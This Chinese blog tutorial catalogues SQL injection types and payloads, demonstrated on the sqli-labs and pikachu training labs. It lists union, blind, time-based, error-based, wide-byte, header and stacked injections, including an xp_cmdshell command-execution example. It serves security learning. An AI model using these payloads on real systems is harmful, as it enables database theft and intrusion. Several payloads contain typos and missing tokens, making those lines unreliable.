SQL注入漏洞类型和常用知识

SQL注入漏洞类型和常用知识

通过几年对网络安全的学习,我总结了一些sql注入漏洞的知识和技巧,在这儿分享给大家,如果有问题还请给位前辈大佬多多指点,希望我总结的知识对大家有用。
 
 

sql注入常用知识和常用函数

 
 

数据库查询

version()    数据库版本
database()   数据库名   
table_name   表名
column_name  字段名

 

Order by函数

判断字段个数。
例:order by 3;

SQL注入漏洞类型和常用知识_第1张图片
当输入值为4时登陆失败,说明有3个字段
 
 
 
 

Union select函数

联合查询,合并多个select语句并查询两个表中共同都有的字段。
例:union select 1,2,3;

SQL注入漏洞类型和常用知识_第2张图片通过union select爆库可知数据库名为security。
 
 
 
 

Length()函数

 返回字符串长度。
例:length(database())>1 ;  

SQL注入漏洞类型和常用知识_第3张图片数据库名长度大于7
 
 
 
 

Left()函数

 left(a,b)从左侧截取a的前b位,正确则返回1。 
例:left(database(),1)='s';

SQL注入漏洞类型和常用知识_第4张图片
判断前1位是否是s
 
 
 
 

Regexp函数

regexp为匹配的正则表达式。 
例:select database() regexp 's';

SQL注入漏洞类型和常用知识_第5张图片匹配第一个字符是否是s。
 
 
 
 

Like函数

匹配与regexp相似。 
例:select database() like 's%';

SQL注入漏洞类型和常用知识_第6张图片 匹配第一个字符是否是s。
 
 
 
 

Substr()函数

substr(a,b,c)从位置b开始,截取a字符串c位长度。 
例:select substr((select database()),1,1)='s'; 

SQL注入漏洞类型和常用知识_第7张图片匹配第一个字符是否是s。
SQL注入漏洞类型和常用知识_第8张图片匹配前三个字符是否是sec。
 
 
 
 

Ascii()函数

将某个字符串转化为ascii值。
例:select ascii(substr((select database()),1,1))<200; 

SQL注入漏洞类型和常用知识_第9张图片判断数据库名第一个字母的ascii码是否小于200,如果小于200,就会返回1,否则返回0。
 
 
 
 

Ord函数

函数是返回第一个字符的ascii码值。
例:select ord(substr(database(),1,1))<200;

SQL注入漏洞类型和常用知识_第10张图片判断数据库名第一个字母返回的ascii码是否小于200,如果小于200,就会返回1,否则返回0。
 
 
 
 

mid()函数

用于得到字符串的一部分。
例:select ord(mid(database(),1,1))<200;

SQL注入漏洞类型和常用知识_第11张图片取数据库名的第一位进行判断

 
 
 
 

if()函数

常用的判断语句。
例:if((select length(database()))>3,1,0)

SQL注入漏洞类型和常用知识_第12张图片判断数据库名长度是否大于7,大于7返回1,不大于7返回0
 
 
 
 

sleep()函数

执行sleep(x)函数让语句多运行x秒。
例:if(ascii(substr((select database()),1,1))<200,sleep(5),1)

SQL注入漏洞类型和常用知识_第13张图片判断数据库名的第一个字母的ascii码是否小于200,如果小于延迟5秒加载
 
 
 
 

concat函数

将两个字符串组成一个字符串。
例:select concat(users,passwd....)

SQL注入漏洞类型和常用知识_第14张图片

列出所有表明
 
 
 
 

常见的sql注入类型

 
 

数字型

判断

?id=1'  //报错
?id=1 or 1=1 
?id=1 and 1=2

爆库

?id=-1' union select 1,2,database()--+

爆表

?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() --+

爆字段

?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+

 
 

数字型注入过程

 
sql-lab less-1演示
SQL注入漏洞类型和常用知识_第15张图片 找到注入点
SQL注入漏洞类型和常用知识_第16张图片判断字段个数
SQL注入漏洞类型和常用知识_第17张图片2,3位可显
SQL注入漏洞类型和常用知识_第18张图片爆库名库名为security
SQL注入漏洞类型和常用知识_第19张图片从schema库中列出所有表的名字在3处显示
SQL注入漏洞类型和常用知识_第20张图片从schema库中列出所有字段的名字在3处显示
 
 
 
 

字符型

判断

xxx' //报错
xxx' or '1'='1'--+ 
xxx' and '1=1--+'

爆库

?name=-' union select 1,database()--+

爆表

?name=-' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() --+

爆字段

?name=-' union select 1,group_concat(column_name) from information_schema.columns where table_name='users'--+

 
 

字符型注入过程

 
pikachu字符型注入演示
SQL注入漏洞类型和常用知识_第21张图片找到注入点
SQL注入漏洞类型和常用知识_第22张图片判断字段个数
SQL注入漏洞类型和常用知识_第23张图片1,2位可显
SQL注入漏洞类型和常用知识_第24张图片爆库名库名为pikachu
SQL注入漏洞类型和常用知识_第25张图片从schema库中列出所有表的名字在2处显示
SQL注入漏洞类型和常用知识_第26张图片从schema库中列出所有字段的名字在2处显示
 
 
 
 

布尔盲注

判断

id=1'  //报错
id=1"
id=1)'
id=1' or 1=1#

爆库

?id=1' and left(database(),8)='security'--+

爆表

?id=1' and (ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)))=101--+

爆字段

?id=1' and (ascii(substr((select column_name from information_schema.columns where table_name='emails' limit 0,1),1,1)))>0--+

 
 

布尔盲注过程

 
sql-lab less-8演示

SQL注入漏洞类型和常用知识_第27张图片判断数据库名长度

SQL注入漏洞类型和常用知识_第28张图片判断数据库名
SQL注入漏洞类型和常用知识_第29张图片判断数据库中第一个表的长度,更改limit可以更换表
SQL注入漏洞类型和常用知识_第30张图片判断第一个表,名的第一个字母更改limit得出表明emails
SQL注入漏洞类型和常用知识_第31张图片判断emails表中第一列名的长度
SQL注入漏洞类型和常用知识_第32张图片判断emails表第一列名的第一位的ascii值
 
 
 
 

时间盲注

判断

1and sleep(5)--+
1 and sleep(5)--+

爆库

1' and if(ascii(substr(database(),1,1))>0,sleep(5),1)--+

爆表

1' and if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))>1,sleep(5),1)--+

爆字段

1'and if(ascii(substr((select column_name from information_schema.columns where table_name='emails' limit 0,1),1))=1,sleep(5),1) #

 
 

时间盲注过程

 
sql-lab less-9演示
SQL注入漏洞类型和常用知识_第33张图片判断数据库名长度
SQL注入漏洞类型和常用知识_第34张图片判断数据库名
后面和布尔注入预计基本一致,时间注入更改语句通过时间判断,纯手工不用脚本太费事了,可以使用python脚本.
 
 
 
 

报错注入

判断

id=1'  //报错
id=1"
id=1)'
id=1' or 1=1#

爆库

1'and(select updatexml(1,concat(0x7e,(select database())),0x7e))

爆表

1'and(select updatexml(1,concat(0x7e,(select group_concat(table_name)from information_schema.tables where table_schema=database())),0x7e))

爆字段

1'and(select updatexml(1,concat(0x7e,(select group_concat(column_name)from information_schema.columns where table_name="TABLE_NAME")),0x7e))

爆数据

1'and(select updatexml(1,concat(0x7e,(select group_concat(COLUMN_NAME)from TABLE_NAME)),0x7e))

 
 

报错注入过程

 
sql-lab less-5演示
SQL注入漏洞类型和常用知识_第35张图片使用updatexml函数,updatexml函数为更改xml文件内容函数,0x7e不符合updatexml函数规定所以报错
SQL注入漏洞类型和常用知识_第36张图片爆表
SQL注入漏洞类型和常用知识_第37张图片爆字段
SQL注入漏洞类型和常用知识_第38张图片爆数据

 

可用于报错注入的函数

1.通过updatexml
        id=1' and (select updatexml(1,concat(0x7e,(select database())),0x7e))
2.通过geometrycollection语句
        id=1' and geometrycollection((select * from(select * from (select user())a)b))
3.通过exp语句
        id=1' and exp(~(select from (select user() ) a));
4.通过polygon语句
        id=1' and polygon((select from (select from (select user())a)b));
5.通过NAME_CONST报错:
        id=1' and exists(select from (select from(select name_const(version(),0)a join   (select name_const(version(),0))b)c);
6.通过extractvalue报错:
        id=1' or extractvalue (1, concat(0x5c,(select user()))) or'
7.通过floor()报错:
        id=1' (select conut(),(concat(database(),rand(0)*2))x from infromation_schema.tables group by x)

 
 
 
 

宽字符注入

判断

当使用正常过滤方式报错后,有/说明id='1\''单引号被转义了,
我们可以利用宽字节来”吃掉反斜杠”
数据1%df' or 1=1--+ 输入会变成1�\' or 1#,导致单引号注入成功
 

宽字符注入过程

 
pikachu宽字符注入演示

SQL注入漏洞类型和常用知识_第39张图片发现注入点,使用%df注掉/再进行sql注入
SQL注入漏洞类型和常用知识_第40张图片使用联合查询进行注入,与前面相似
 
 
 
 

HTTP请求头参数注入

判断

使用burpsuite,http header live等软件进行抓包。
在referer,cookie,XFF等位置输入sql语句进行尝试sql注入。

HTTP请求头参数注入过程

 
pikachu http header注入演示
SQL注入漏洞类型和常用知识_第41张图片代理位置存在sql注入漏洞,在’后输入sql语句注入

SQL注入漏洞类型和常用知识_第42张图片
cookie处也存在sql注入漏洞
 
 
 
 

堆叠注入

判断

使用;分割语句

Mysql
select * from users where id=1;create table test like users;

Sqlserver
select * from test;select * from test where id=1;exec master..xp_cmdshell 'ipconfig'

Oracle 不支持
Postgresql 支持

你可能感兴趣的:(sql注入,sql-labs,pikachu,sql,安全,数据库,docker)